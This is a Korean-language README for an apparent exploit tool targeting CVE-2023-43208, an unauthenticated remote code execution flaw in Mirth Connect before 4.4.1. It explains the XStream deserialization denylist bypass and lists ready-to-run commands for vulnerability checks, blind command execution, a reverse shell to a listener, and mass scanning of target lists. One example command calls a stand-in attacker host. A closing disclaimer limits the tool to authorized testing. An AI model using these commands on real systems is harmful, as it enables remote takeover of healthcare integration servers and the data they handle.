CVE-2023-43208 — Mirth Connect 비인증 RCE

NextGen Healthcare Mirth Connect < 4.4.1에서 XStream 역직렬화 우회를 통한 비인증 원격 코드 실행(Pre-authenticated Remote Code Execution) 취약점.

CVSS 9.8 (치명적) — CVE-2023-37679 패치 우회

개요

Mirth Connect는 Java XStream 라이브러리를 사용하여 /api/users 엔드포인트에서 인증 없이 XML 페이로드를 역직렬화합니다. 기존 수정(CVE-2023-37679)은 위험한 클래스의 차단 목록(denylist)을 도입했지만, Apache Commons Lang3의 EventBindingInvocationHandler와 Commons Collections4의 InvokerTransformer 체인을 결합하여 우회되었습니다.

Mirth Connect 4.4.1에서 차단 목록(denylist)을 허용 목록(allowlist)으로 전환하여 수정되었습니다.

요구 사항

pip install requests

Python 3.10+ (match 문 사용).

사용법

대상이 취약한지 확인

python3 exploit.py check -t https://target:8443

명령 실행 (블라인드 RCE — 출력 없음)

python3 exploit.py exec -t https://target:8443 -c "id"
python3 exploit.py exec -t https://target:8443 -c "curl http://attacker/pwned"

리버스 셸 실행

# Terminal 1 (or let the script handle the listener):
python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444

# For better shell experience, use rlwrap:
rlwrap python3 exploit.py shell -t https://target:8443 --lhost 10.10.10.10 --lport 4444

여러 대상 스캔

python3 exploit.py scan -f targets.txt -o vulnerable.txt -T 30

공격 체인

POST /api/users  (no auth)
     │
     ▼
XStream deserializes XML payload
     │
     ▼
sorted-set triggers Comparable.compareTo()
     │
     ▼
dynamic-proxy → EventBindingInvocationHandler (bypasses denylist)
     │
     ▼
ChainedTransformer.transform()
     │
     ▼
ConstantTransformer(Runtime.class)
  → InvokerTransformer("getRuntime")
    → InvokerTransformer("invoke")
      → InvokerTransformer("exec", <command>)
           │
           ▼
      OS command execution as Mirth Connect service user

면책 조항

이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 테스트 전에 반드시 적절한 승인을 받으십시오.

CVE-2023-43208

인기